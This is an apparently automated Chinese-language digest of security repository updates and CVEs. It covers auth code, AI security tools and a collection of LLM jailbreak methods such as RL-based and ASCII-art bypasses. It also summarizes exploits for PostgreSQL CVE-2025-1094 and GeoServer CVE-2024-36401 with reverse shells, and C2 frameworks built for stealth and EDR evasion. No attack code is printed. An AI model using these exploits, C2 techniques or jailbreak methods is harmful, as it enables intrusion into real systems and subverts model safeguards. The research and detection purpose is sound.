equipo-c24-74-m-mobile - 后端身份验证安全增强
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | equipo-c24-74-m-mobile |
| 风险等级 | MEDIUM |
| 安全类型 | 安全功能 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 3
- 变更文件数: 49
💡 分析概述
该更新增加了用户身份验证功能，包括身份验证服务、控制器，以及密码编码器的使用，增强了系统的安全性。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 实现了身份验证服务（AuthService） |
| 2 | 添加了用户身份验证控制器 (AutenticacionController) |
| 3 | 使用了密码编码器 (PasswordEncoder) 进行密码安全处理 |
| 4 | 更新了用户实体和仓库，增加了Rol字段 |
🛠️ 技术细节
新增AuthService，包含authenticate方法，用于验证用户名和密码。该方法使用PasswordEncoder验证密码。
新增AutenticacionController，用于处理登录请求。
新增DatosAutenticacionUsuario记录，用于接收登录凭据。
在SecurityConfigurations中配置了PasswordEncoder，使用BCryptPasswordEncoder。
更新了UsuarioRepository接口，增加了findByCorreo 和 findByContraseña方法
在Usuario类中加入了Rol字段
🎯 受影响组件
• 后端身份验证模块
⚡ 价值评估
展开查看详细评估
该更新完善了身份验证流程，增加了密码加密，提升了系统的安全性。
Awesome-Jailbreak-on-LLMs - LLM越狱攻击方法和防御研究
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | Awesome-Jailbreak-on-LLMs |
| 风险等级 | HIGH |
| 安全类型 | 安全研究 |
| 更新类型 | 新增内容 |
📊 代码统计
- 分析提交数: 5
- 变更文件数: 5
💡 分析概述
该仓库收集了最新的LLM越狱攻击方法和防御技术，包括论文、代码、数据集和分析。它涵盖了黑盒攻击、白盒攻击、多模态攻击等多种攻击方式，并提供了相关论文的链接和部分代码实现。该仓库旨在促进对LLM安全问题的研究，特别是针对越狱攻击和防御。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 收集了大量针对LLM的越狱攻击方法，包括黑盒攻击、白盒攻击等。 |
| 2 | 涵盖多种攻击技术，如基于RL的攻击、对抗性提示翻译、基于ASCII艺术的攻击等。 |
| 3 | 提供了论文链接和部分代码实现，方便研究人员复现和进一步研究。 |
| 4 | 与AI+Security主题高度相关，聚焦于LLM的安全问题，例如LLM的越狱和防御。 |
| 5 | 包含了最新的研究成果，如2024年11月发表的论文和代码。 |
🛠️ 技术细节
包含了多种LLM越狱攻击的实现方法，如利用RL进行攻击、通过对抗性提示翻译进行攻击、使用ASCII艺术绕过安全防护等。
提供了不同攻击方法的论文链接，方便研究人员深入了解其原理和技术细节。
部分攻击方法提供了代码实现，方便研究人员复现和验证攻击效果。
收集了LLM越狱攻击和防御的最新研究进展，反映了该领域的技术发展趋势。
🎯 受影响组件
• Large Language Models (LLMs)
⚡ 价值评估
展开查看详细评估
该仓库与AI+Security主题高度相关，聚焦于LLM的安全问题，例如LLM的越狱和防御。它收集了大量最新的研究成果，提供了多种攻击方法和部分代码实现，对安全研究具有重要价值。相关性评分：HIGH
AI-Powered-Fraud-Monitoring-System - AI驱动的金融欺诈监控系统
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | AI-Powered-Fraud-Monitoring-System |
| 风险等级 | LOW |
| 安全类型 | 安全工具 |
| 更新类型 | 新增 |
📊 代码统计
- 分析提交数: 4
- 变更文件数: 15
💡 分析概述
该项目是一个AI驱动的金融欺诈监控系统，前端使用React，后端使用Flask，可以分析交易数据，识别欺诈行为，并提供即时警报。项目包含前后端代码，以及基本的依赖和配置。虽然没有明显的漏洞，但是该项目展示了AI在安全领域的应用，具有一定的研究价值。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 使用AI和机器学习进行实时交易分析，识别可疑活动并预防金融欺诈 |
| 2 | 包含一个基于Flask的后端API和一个基于React的前端 |
| 3 | 前端可以输入城市和欺诈类型，并通过API请求数据，并以图表展示 |
| 4 | 与AI+Security关键词高度相关，特别是在使用AI技术进行欺诈检测方面 |
🛠️ 技术细节
后端使用Python的Flask框架，提供API接口，可以接收城市和欺诈类型作为参数，返回相关欺诈数据。
前端使用React框架，用于用户交互和数据展示，前端调用后端的API获取数据，并用图表展示。
项目使用了
flask和flask-cors作为后端依赖。
🎯 受影响组件
• Flask Backend
• React Frontend
⚡ 价值评估
展开查看详细评估
该项目与AI+Security关键词高度相关，实现了使用AI技术进行欺诈检测的功能。虽然项目本身的安全风险较低，但其实现思路和技术方案具有研究价值，特别是在AI在安全领域的应用方面。
AI-Cyber_News-Scrapper - AI驱动的网络安全新闻聚合
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | AI-Cyber_News-Scrapper |
| 风险等级 | MEDIUM |
| 安全类型 | Security Tool/Security Research |
| 更新类型 | New Project |
📊 代码统计
- 分析提交数: 2
- 变更文件数: 10
💡 分析概述
该仓库是一个使用Flask构建的AI驱动的网络安全新闻和情报仪表盘。它从多个来源抓取新闻，利用AI模型进行摘要、分类和威胁评估，并提供实时更新和用户友好的界面。代码中包括了AI模型的API调用，以及用于前端展示和交互的JavaScript代码。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | AI-powered news aggregation and analysis |
| 2 | Real-time threat intelligence dashboard |
| 3 | Integration with multiple news sources |
| 4 | Uses AI to summarize and categorize cybersecurity news |
🛠️ 技术细节
使用Flask作为后端框架。
使用Python的requests库抓取新闻。
利用AI模型(Groq, Deepseek)进行文本摘要和分析，配置信息在config/ai_config.json中。
前端使用JavaScript实现动态更新、搜索和主题切换等功能。
包含静态资源：CSS、JavaScript、图片等。
使用数据库存储新闻数据（JSON格式）
使用Flask-CORS处理跨域请求。
🎯 受影响组件
• Flask
• JavaScript
• AI Models (Groq, Deepseek)
⚡ 价值评估
展开查看详细评估
该项目将AI应用于网络安全新闻聚合和分析，这与AI+Security的关键词高度相关。其核心功能在于利用AI技术处理和呈现安全相关信息，具有一定的研究和应用价值。 尽管项目本身没有直接的漏洞利用或防护功能，但其新闻聚合和分析功能为安全研究提供了有价值的信息来源。
AI-Infra-Guard - 新增Chuanhugpt多个安全漏洞
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | AI-Infra-Guard |
| 风险等级 | CRITICAL |
| 安全类型 | 漏洞利用 |
| 更新类型 | SECURITY_CRITICAL |
📊 代码统计
- 分析提交数: 1
- 变更文件数: 20
💡 分析概述
此次更新新增了多个Chuanhugpt的安全漏洞指纹，涵盖了访问控制不当、XSS、LFI、文件上传、路径遍历、拒绝服务等多种高危漏洞。此外，还包含了Jupyter Server Proxy的反射型XSS漏洞。这些漏洞可能导致敏感信息泄露、服务器控制权被获取等严重安全问题。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 新增多个Chuanhugpt安全漏洞指纹 |
| 2 | Chuanhugpt存在多种高危漏洞，包括访问控制不当、XSS、LFI、文件上传、路径遍历、拒绝服务等 |
| 3 | Jupyter Server Proxy存在反射型XSS漏洞 |
| 4 | 漏洞影响版本范围广泛，最高风险等级为CRITICAL |
| 5 | 此次更新对多个安全漏洞进行了指纹补充 |
🛠️ 技术细节
Chuanhugpt漏洞涉及多个功能模块，包括文件上传、历史记录、JSON文件处理等。漏洞类型多样，利用方式各异。
jupyter-server-proxy的反射型XSS漏洞，利用
/proxy端点处理host参数不当，导致注入恶意JavaScript代码。
漏洞的CVE编号、详细描述、影响版本和修复建议均已给出。
🎯 受影响组件
• Chuanhugpt
• jupyter-server-proxy
⚡ 价值评估
展开查看详细评估
此次更新增加了多个高危漏洞的指纹，对安全研究具有重要价值，可以帮助安全人员及时发现并修复相关漏洞，降低安全风险。
CVE-2025-1094 - PostgreSQL SQLi 劫持WebSocket RCE
📌 漏洞信息
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2025-1094 |
| 风险等级 | CRITICAL |
| 利用状态 | 漏洞利用可用 |
| 发布时间 | 2025-02-27 00:00:00 |
| 最后更新 | 2025-02-27 11:12:44 |
📦 相关仓库
💡 分析概述
该漏洞利用PostgreSQL中的SQL注入漏洞，通过SQL注入读取服务器上的文件，然后劫持WebSocket连接执行任意命令，最终实现远程代码执行（RCE）。攻击者可以通过该漏洞完全控制服务器。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | SQL注入漏洞导致任意文件读取 |
| 2 | WebSocket劫持实现RCE |
| 3 | 完整POC已发布 |
| 4 | 利用过程涉及多阶段攻击 |
🛠️ 技术细节
- SQL注入：通过构造恶意SQL语句，利用lo_export函数读取服务器上的敏感文件，如/etc/passwd，并将文件内容保存到/tmp/payload。
- WebSocket劫持：利用WebSocket连接，发送payload执行RCE。payload中包含一个反弹shell，攻击者可以接收来自服务器的shell。
- 反弹shell：攻击者启动监听程序，接收来自受害服务器的反弹shell，从而获取服务器的控制权。
- 关键文件：/etc/passwd
🎯 受影响组件
• PostgreSQL
⚡ 价值评估
展开查看详细评估
该漏洞影响广泛使用的PostgreSQL数据库，且提供了完整的POC和利用代码，可以直接用于攻击。漏洞结合了SQL注入和WebSocket劫持两种攻击方式，危害巨大，属于高危漏洞。
lolc2.github.io - Azure App Proxy C2技术
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | lolc2.github.io |
| 风险等级 | HIGH |
| 安全类型 | 安全研究 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 2
- 变更文件数: 3
💡 分析概述
该仓库更新增加了关于使用Microsoft Azure Application Proxy (AAP)建立C2通道的信息。攻击者可以通过AAP将流量隧道化，绕过防火墙和代理，实现隐蔽的C2通信。更新包括对AAP C2的优势分析、C2框架的链接以及检测AAP C2流量的特征。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 新增了关于利用Azure Application Proxy (AAP)建立C2通道的信息 |
| 2 | 介绍了AAP在C2通信中的优势，如绕过防火墙、代理和地理限制 |
| 3 | 提供了AAP C2框架的URL，如https://github.com/xpn/AppProxyC2 |
| 4 | 提供了用于检测AAP C2流量的线索，例如URL特征和User-Agent |
🛠️ 技术细节
详细介绍了攻击者如何利用Azure Application Proxy建立C2通道，通过Microsoft的云基础设施进行流量隧道。
列出了AAP C2的优势，包括绕过防火墙、代理等，提供隐蔽的C2通信方式。
提供了AAP C2框架的GitHub链接：https://github.com/xpn/AppProxyC2。
提供了检测AAP C2流量的线索，包括URL特征：https://.msappproxy.net/, https://login.microsoftonline.com/common/oauth2/authorize?resource=https%3A%2F%2Fproxy.cloudwebappproxy.net%2Fregisterapp&client_id=*，以及User-Agent特征: ApplicationProxyConnector/1.5.1975.0, Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0。
🎯 受影响组件
• Azure Application Proxy
• C2 Frameworks
⚡ 价值评估
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该更新介绍了新的C2通道技术，为红队提供了新的攻击面，并为蓝队提供了检测C2流量的线索。
PhoenixC2 - PhoenixC2更新
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | PhoenixC2 |
| 风险等级 | HIGH |
| 安全类型 | 安全研究 |
| 更新类型 | GENERAL_UPDATE |
📊 代码统计
- 分析提交数: 1
- 变更文件数: 1
💡 分析概述
该C2框架更新了版本，并更新了下载链接。由于C2框架本身就具有潜在的恶意用途，且其描述中包含了DDoS攻击相关内容，因此具有较高的安全风险。虽然此次更新未直接涉及漏洞或安全修复，但考虑到C2框架的特性，更新本身也值得关注。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | C2框架更新版本至v2.0 |
| 2 | 更新了下载链接 |
| 3 | 描述了C2框架的功能 |
| 4 | 涉及DDoS攻击相关内容 |
🛠️ 技术细节
更新了README.md文件中的下载链接，由v1.0变更为v2.0。
🎯 受影响组件
• PhoenixC2
⚡ 价值评估
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C2框架通常用于恶意活动，任何更新都可能引入新的功能或利用方式。虽然本次更新未直接涉及安全漏洞或修复，但考虑到C2框架的特殊性，其更新仍具有研究价值。
C2512 - C2框架的初步实现
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | C2512 |
| 风险等级 | HIGH |
| 安全类型 | C2框架 |
| 更新类型 | SECURITY_CRITICAL |
📊 代码统计
- 分析提交数: 3
💡 分析概述
该仓库创建了C2框架相关的代码，包括进程启动功能，虽然目前代码量少，但可能被用于恶意活动，风险较高。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | C2框架的初步构建 |
| 2 | 实现了进程启动功能 |
| 3 | 可能用于隐蔽的恶意活动 |
🛠️ 技术细节
创建了main.cpp、processlauncher.cpp和processlauncher.h文件，初步构建了一个C2框架。
processlauncher.cpp可能包含进程启动的功能，这在C2框架中是关键功能。
🎯 受影响组件
• 操作系统
⚡ 价值评估
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C2框架是渗透测试和恶意活动中常用的工具，即使是初步构建也具有潜在的危害性，值得关注。
DNSObelisk - DNSObelisk C2 流量监控
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | DNSObelisk |
| 风险等级 | MEDIUM |
| 安全类型 | 安全功能 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 2
- 变更文件数: 9
💡 分析概述
本次更新主要集中在 DNSObelisk 系统的性能测试和 eBPF 程序的完善，增加了对 egress 流量的处理，这有助于增强对 DNS C2 流量的监控能力。虽然更新没有直接涉及漏洞修复或 POC，但改进了关键的网络安全组件 (eBPF) 的功能，提升了 C2 流量检测的全面性。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 更新了 eBPF 程序的 TC handler，并增加了对egress流量的处理 |
| 2 | 修改了benchmarking脚本，增加了性能测试功能 |
| 3 | 调整了debug模式的逻辑，可能影响功能表现 |
🛠️ 技术细节
在
pkg/bridgetc/bridge_tc.go中，AttachTcHandler函数新增了isEgress参数，从而可以分别处理ingress和egress流量。
在
scripts/bench/bench.sh中，更新了性能测试脚本,增加了多轮测试取平均值的功能。
修改了
pkg/model/feature.go和pkg/model/parse.go中的debug模式控制逻辑。
🎯 受影响组件
• Linux内核
• eBPF
• TC qdisc
• Netfilter
• DNS
⚡ 价值评估
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更新加强了对DNS流量的监控，并增强了性能测试功能，间接提升了C2流量检测能力。
ai-enhanced-cloud-security - AI增强的云安全平台
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | ai-enhanced-cloud-security |
| 风险等级 | MEDIUM |
| 安全类型 | Security Tool/Security Research |
| 更新类型 | New Project |
📊 代码统计
- 分析提交数: 1
- 变更文件数: 10
💡 分析概述
该仓库是一个AI增强的云安全平台，集成了AI威胁检测、多云监控、区块链日志记录和自动化响应等功能。它旨在为云基础设施提供全面的安全保护。该平台利用了 TensorFlow 和 Scikit-learn 进行机器学习, 使用 Python 实现, 具有良好的代码结构。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | AI-powered threat detection |
| 2 | Multi-cloud monitoring capabilities |
| 3 | Blockchain-based security logging |
| 4 | Automated response and mitigation features |
| 5 | Strong relevance to AI+Security keyword |
🛠️ 技术细节
使用Streamlit构建前端，提供交互式仪表盘。
后端使用Python, 具有模块化的设计，包括威胁检测、区块链、监控和自动化等模块。
威胁检测模块基于TensorFlow和Scikit-learn的机器学习模型，用于分析网络流量和系统行为。
区块链模块使用Web3.py将安全事件记录到区块链上。
自动化模块根据预定义的规则自动响应安全威胁。
🎯 受影响组件
• Cloud platforms (AWS, Azure, GCP)
• AI/ML modules
• Blockchain module
• Streamlit frontend
⚡ 价值评估
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该项目与'AI+Security'关键词高度相关，其核心功能围绕使用AI技术增强云安全。它提供了创新的安全研究方法，实现了独特的安全检测和防护功能，并收集了系统性的安全研究资料，具有一定的研究和应用价值。
Security-Vision - AI驱动的入侵检测系统
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | Security-Vision |
| 风险等级 | MEDIUM |
| 安全类型 | 安全功能 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 2
- 变更文件数: 1
💡 分析概述
该仓库更新了一个基于OpenCV、YOLO、Mediapipe和TensorFlow的实时安全监控和入侵检测系统。新增功能包括基于AI的行人行为分析，当检测到可疑行为时发出警报，并集成了ResNet模型用于衣物特征提取。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 新增了基于Mediapipe和TensorFlow的行人检测功能，当检测到可疑行为（例如徘徊）时发出警报。 |
| 2 | 集成了ResNet模型用于衣物特征提取，可能用于进一步分析。 |
| 3 | 更新包括添加输出文件，表明系统已经具备一定的事件记录功能。 |
| 4 | 项目结合了YOLO、OpenCV、AI模型，用于实时安全监控和入侵检测。 |
🛠️ 技术细节
增加了使用Mediapipe进行行人检测的代码，并与YOLO目标检测结果结合，以确定是否有人在徘徊。
集成了ResNet50模型，用于衣物特征提取，可以进一步进行分析。
使用YOLO模型进行目标检测, 通过
ultralytics库加载.
使用
winsound库播放警报声.
🎯 受影响组件
• Project.py (OpenCV, YOLO, Mediapipe, TensorFlow)
⚡ 价值评估
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项目结合了AI技术进行安全监控，新增的行人行为分析功能可能提升入侵检测的准确性，改进了现有功能。
paig - 新增GenAI评估模块
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | paig |
| 风险等级 | MEDIUM |
| 安全类型 | 安全功能 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 5
- 变更文件数: 50
💡 分析概述
该更新增加了PAIG的评估模块，为GenAI应用提供安全、安全性和可观察性评估能力。涉及评估配置、评估结果、评估目标等多个API接口，并增加了与AI应用关联的Host配置，该功能增强了对AI应用安全性的评估能力
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 新增了PAIG的评估(evaluation)模块，用于测试和评估GenAI应用的安全性和性能。 |
| 2 | 增加了用于配置评估的API接口，包括配置创建、更新、获取等。 |
| 3 | 增加了评估结果相关的API接口，用于保存、运行和查询评估结果。 |
| 4 | 增加了评估目标配置相关的API接口，用于配置评估目标。 |
| 5 | 增加了与AI应用关联的Host配置 |
🛠️ 技术细节
新增了 paig-server/backend/paig/api/evaluation 目录，包含了API接口、数据库模型、服务和控制器等。
增加了评估相关的数据库表，包括 eval_config, eval_run, eval_target。
修改了 paig-server/backend/paig/alembic_db/env.py 和 paig-server/backend/paig/routers.py 等文件，以支持新的评估模块。
实现了评估的配置、运行和结果查询等功能。
实现了AI Application和Evaluation Target的关联配置
🎯 受影响组件
• paig-server backend
• paig-evaluation module
• API endpoints
⚡ 价值评估
展开查看详细评估
该更新增加了PAIG的安全评估功能，可以帮助用户测试和评估GenAI应用的安全风险，属于安全功能增强，具有一定的价值。
Security-Copilot - 增强Copilot安全能力
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | Security-Copilot |
| 风险等级 | MEDIUM |
| 安全类型 | 安全功能/安全研究 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 3
- 变更文件数: 12
💡 分析概述
该仓库更新主要集中在增强Microsoft Security Copilot的功能，包括添加自定义插件，扩展KQL查询能力，以及自动化钓鱼邮件分析，加强了安全事件的检测、分析和响应能力。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 新增了Microsoft Defender XDR和Sentinel的自定义插件，扩展了Security Copilot的功能。 |
| 2 | 提供了基于KQL的插件，可以查询ATP事件、云应用事件和Sentinel事件，获取事件详情。 |
| 3 | 集成了Azure Logic Apps和Function Apps，实现了自动化的钓鱼邮件分析和报告功能。 |
🛠️ 技术细节
新增了MDA Advanced Threat Protection (ATP) Detection和MDA Cloud App Events插件，基于KQL查询Defender for Cloud Apps的数据。
新增了Sentinel插件，用于获取事件评论。
提供了Azure Logic Apps和Function Apps的部署模板，实现钓鱼邮件的自动分析，提取URL、IP等信息并生成报告。
🎯 受影响组件
• Microsoft Security Copilot
• Microsoft Defender XDR
• Microsoft Sentinel
• Azure Logic Apps
• Azure Function Apps
⚡ 价值评估
展开查看详细评估
这些更新扩展了Security Copilot的功能，能够更有效地进行安全事件的分析和响应，具有实际的应用价值。
quivr - 改进RAG框架并更新处理器
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | quivr |
| 风险等级 | LOW |
| 安全类型 | 安全功能 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 2
- 变更文件数: 7
💡 分析概述
该更新主要集中在对RAG框架和文件处理器的改进。特别是将system prompt加入到Zendesk RAG中，可能会影响检索结果的准确性。此外，文件处理器逻辑也得到了更新，并修复了潜在的问题。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 增加了system prompt到Zendesk RAG，改进了检索结果。 |
| 2 | 更新了Megaparse依赖，以及相关文件处理器的逻辑。 |
| 3 | 修改了文件处理器基类，提升了代码的健壮性。 |
🛠️ 技术细节
添加了system prompt到Zendesk RAG的prompts.py和quivr_rag_langgraph.py文件中，用于优化检索结果。
更新了Megaparse相关的处理器实现，包括默认处理器,并修改了文件处理器基类的实现。
修改了processor_base.py，增强了文件处理器的健壮性
🎯 受影响组件
• core/quivr_core/rag/prompts.py
• core/quivr_core/rag/quivr_rag_langgraph.py
• core/quivr_core/processor/implementations/default.py
• core/quivr_core/processor/implementations/megaparse_processor.py
• core/quivr_core/processor/implementations/simple_txt_processor.py
• core/quivr_core/processor/implementations/tika_processor.py
• core/quivr_core/processor/processor_base.py
⚡ 价值评估
展开查看详细评估
更新了RAG框架的配置，并优化了文件处理器的逻辑，有利于提高系统安全性。
SIEM-Security-Dashboard - AI驱动的安全仪表盘
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | SIEM-Security-Dashboard |
| 风险等级 | MEDIUM |
| 安全类型 | 安全工具 |
| 更新类型 | 新增 |
📊 代码统计
- 分析提交数: 2
- 变更文件数: 11
💡 分析概述
该仓库构建了一个SIEM安全仪表盘，核心功能是利用AI进行威胁检测，并结合实时日志分析和自动化响应。技术细节包括使用Flask搭建后端，使用scikit-learn的RandomForestClassifier进行异常检测，以及React前端进行数据可视化。仓库还集成了Splunk和ELK，并实现了基于威胁检测的IP自动封禁。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | AI-driven threat detection using a Random Forest model. |
| 2 | Real-time log analysis and visualization in a dashboard. |
| 3 | Integration with SIEM platforms (Splunk, ELK). |
| 4 | Automated IP blocking based on threat detection. |
| 5 | Strong relevance to the 'AI+Security' search keywords. |
🛠️ 技术细节
Flask backend with API endpoints for log ingestion and retrieval.
AI model implemented using scikit-learn (RandomForestClassifier) for anomaly detection based on log features.
Integration with Splunk via HEC and Elasticsearch/OpenSearch for log storage and analysis.
Automated IP blocking using OS commands (netsh advfirewall).
Frontend dashboard built with React and Chart.js for log visualization.
🎯 受影响组件
• Flask backend
• RandomForestClassifier model
• Frontend React application
• Splunk
• ELK (Elasticsearch/OpenSearch)
⚡ 价值评估
展开查看详细评估
仓库通过结合AI技术进行威胁检测，并提供SIEM集成和自动化响应功能，与'AI+Security'关键词高度相关。其实现的基于机器学习的异常检测、实时日志分析和自动化的安全措施，体现了较高的安全研究和实用价值。
CVE-2024-36401 - GeoServer命令执行/反弹shell
📌 漏洞信息
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2024-36401 |
| 风险等级 | CRITICAL |
| 利用状态 | 漏洞利用可用 |
| 发布时间 | 2025-02-27 00:00:00 |
| 最后更新 | 2025-02-27 12:58:19 |
📦 相关仓库
💡 分析概述
该CVE描述了一个针对GeoServer的图形化漏洞利用工具，该工具集成了命令执行、反弹shell和针对低版本JDK的内存马注入功能。最新提交的代码包含该工具的完整实现。该工具通过构造恶意的XML payload，利用GeoServer的WFS接口中的漏洞，实现命令执行和反弹shell。此外，还提供了针对低版本JDK的内存马注入，进一步增加了其危害性。代码质量较高，可以直接使用，且提供了图形化界面。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | GeoServer图形化漏洞利用工具，包含命令执行、反弹shell、低版本JDK内存马注入 |
| 2 | 利用工具提供图形化界面，降低了利用门槛 |
| 3 | 支持反弹shell，可直接获取目标系统控制权 |
| 4 | 提供JDK内存马注入功能，对低版本JDK有影响 |
| 5 | 提交的代码包含漏洞利用代码和POC，可以直接使用 |
🛠️ 技术细节
漏洞原理: GeoServer的WFS接口存在命令执行漏洞，通过构造恶意的XML payload，在valueReference中使用exec函数执行任意命令。
利用方法: 使用提供的图形化工具，输入目标URL，执行命令，或设置IP和端口进行反弹shell，或选择注入内存马。图形化界面简化了漏洞利用的流程。
修复方案: 升级GeoServer到安全版本，限制WFS接口的使用，加强输入验证，禁用不安全的函数。
🎯 受影响组件
• GeoServer
⚡ 价值评估
展开查看详细评估
该工具提供了针对GeoServer的远程代码执行和反弹shell漏洞的图形化利用，且包含了针对低版本JDK的内存马注入，危害性极高。提供完整的POC和利用代码，可以直接用于攻击。且影响广泛使用的GeoServer。
java-chains - Java漏洞利用综合生成平台
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | java-chains |
| 风险等级 | HIGH |
| 安全类型 | 漏洞利用框架/安全工具 |
| 更新类型 | 新增 |
📊 代码统计
- 分析提交数: 5
- 变更文件数: 8
💡 分析概述
该仓库是一个Java漏洞利用综合生成平台，主要功能是生成Java Payload，方便安全研究员进行漏洞测试和利用。支持Java反序列化、Hessian、Shiro等多种漏洞的Payload生成，包含JNDI注入、MySQL JDBC反序列化等模块。该仓库还提供了Docker部署方式，方便用户快速搭建测试环境。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | Java漏洞利用平台，提供多种Payload生成 |
| 2 | 支持JNDI, Hessian, Shiro等多种漏洞 |
| 3 | 包含多种Payload生成模块，方便测试和利用 |
| 4 | 提供Docker部署方式，方便快速搭建环境 |
| 5 | 与漏洞利用关键词高度相关 |
🛠️ 技术细节
提供了Java Native Deserialization Payload、HessianPayload、ShiroPayload等多种Payload的生成
支持自定义AES KEY, GCM模式等Shiro Payload生成选项
包含CharsetJarConvet、GroovyJarConvert、SnakeyamlJarConvert等多种Jar包生成工具，用于特定场景下的RCE利用
支持JDBC Payload生成
支持ExpressionPayload、BytecodePayload生成
提供了XStreamPayload数据生成
🎯 受影响组件
• Java
• Deserialization frameworks (e.g., Hessian, XStream)
• JDBC Drivers
• Shiro
⚡ 价值评估
展开查看详细评估
该仓库与搜索关键词“漏洞”高度相关，提供了多种Java漏洞的Payload生成和利用工具，能够帮助安全研究人员进行漏洞挖掘和利用。该仓库同时包含了多种漏洞利用技术，具有较高的研究价值和实用价值。
Groxy - C2框架新增流量混淆功能
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | Groxy |
| 风险等级 | HIGH |
| 安全类型 | 安全功能 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 2
- 变更文件数: 7
💡 分析概述
该仓库更新引入了流量混淆功能，旨在隐藏C2通信流量，提高隐蔽性。支持HTTP头混淆、域名伪装、自定义抖动等模式。同时，增加了协议包，为C2通信做准备。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 增加了流量混淆功能 |
| 2 | 支持HTTP头混淆、域名伪装、自定义抖动等混淆模式 |
| 3 | 增加了协议包，为C2通信做准备 |
🛠️ 技术细节
新增了proxy/obfuscation.go,实现了流量混淆的具体逻辑，包括HTTP头混淆、域名伪装和自定义抖动。
修改了proxy/proxy.go,增加了对混淆模式的参数配置，并在ModifyRequest和ModifyResponse函数中调用Obfuscator相关方法
修改了main.go，增加了对混淆模式的命令行参数配置。
增加了protocol包，定义了C2通信的消息结构和类型，为后续的通信功能做准备
🎯 受影响组件
• proxy
• main
⚡ 价值评估
展开查看详细评估
新增的流量混淆功能增强了C2框架的隐蔽性，增加了攻击的复杂性和防御的难度。
c2a - C2框架持续更新
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | c2a |
| 风险等级 | MEDIUM |
| 安全类型 | 安全研究 |
| 更新类型 | GENERAL_UPDATE |
📊 代码统计
- 分析提交数: 2
💡 分析概述
该仓库是一个C2框架。虽然更新内容未知，但考虑到是C2框架，持续更新通常意味着功能增强或修复问题，存在安全相关变更的可能性，故暂定为MEDIUM风险。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | C2框架更新 |
| 2 | 更新内容未知 |
| 3 | 安全相关变更未知 |
| 4 | 功能增强 |
🛠️ 技术细节
更新内容未明确，无法进行技术细节分析。
由于是C2框架，其安全性至关重要，任何更新都可能涉及安全功能或漏洞修复。
🎯 受影响组件
• C2框架
⚡ 价值评估
展开查看详细评估
虽然具体更新内容未知，但作为C2框架，持续更新具有潜在的安全价值。
Covert-C2 - 基于Native API的隐蔽C2框架
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | Covert-C2 |
| 风险等级 | HIGH |
| 安全类型 | 安全研究/漏洞利用框架 |
| 更新类型 | 新增 |
📊 代码统计
- 分析提交数: 5
- 变更文件数: 5
💡 分析概述
该仓库是一个使用Native Messaging API的C2实现，可以绕过部分EDR检测，实现对Windows系统的命令执行。该项目提供了PoC级别的代码，以及相关的安装和使用说明。由于使用了浏览器扩展与本地应用程序进行通信，并直接在操作系统中执行命令，具有较高的隐蔽性和潜在危害。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 使用Native Messaging API建立C2通道，实现隐蔽通信 |
| 2 | 提供直接的命令执行能力，绕过EDR检测 |
| 3 | 包含持久化机制，增强攻击的持续性 |
| 4 | 针对性强，与C2关键词高度相关 |
| 5 | 项目仍在积极更新，具有研究价值 |
🛠️ 技术细节
使用C++开发本地应用程序，JavaScript开发浏览器扩展，PHP/Python实现C2服务端
利用Native Messaging API进行浏览器与本地程序之间的通信，实现命令传递和结果回传
实现持久化机制，使得攻击具有持续性
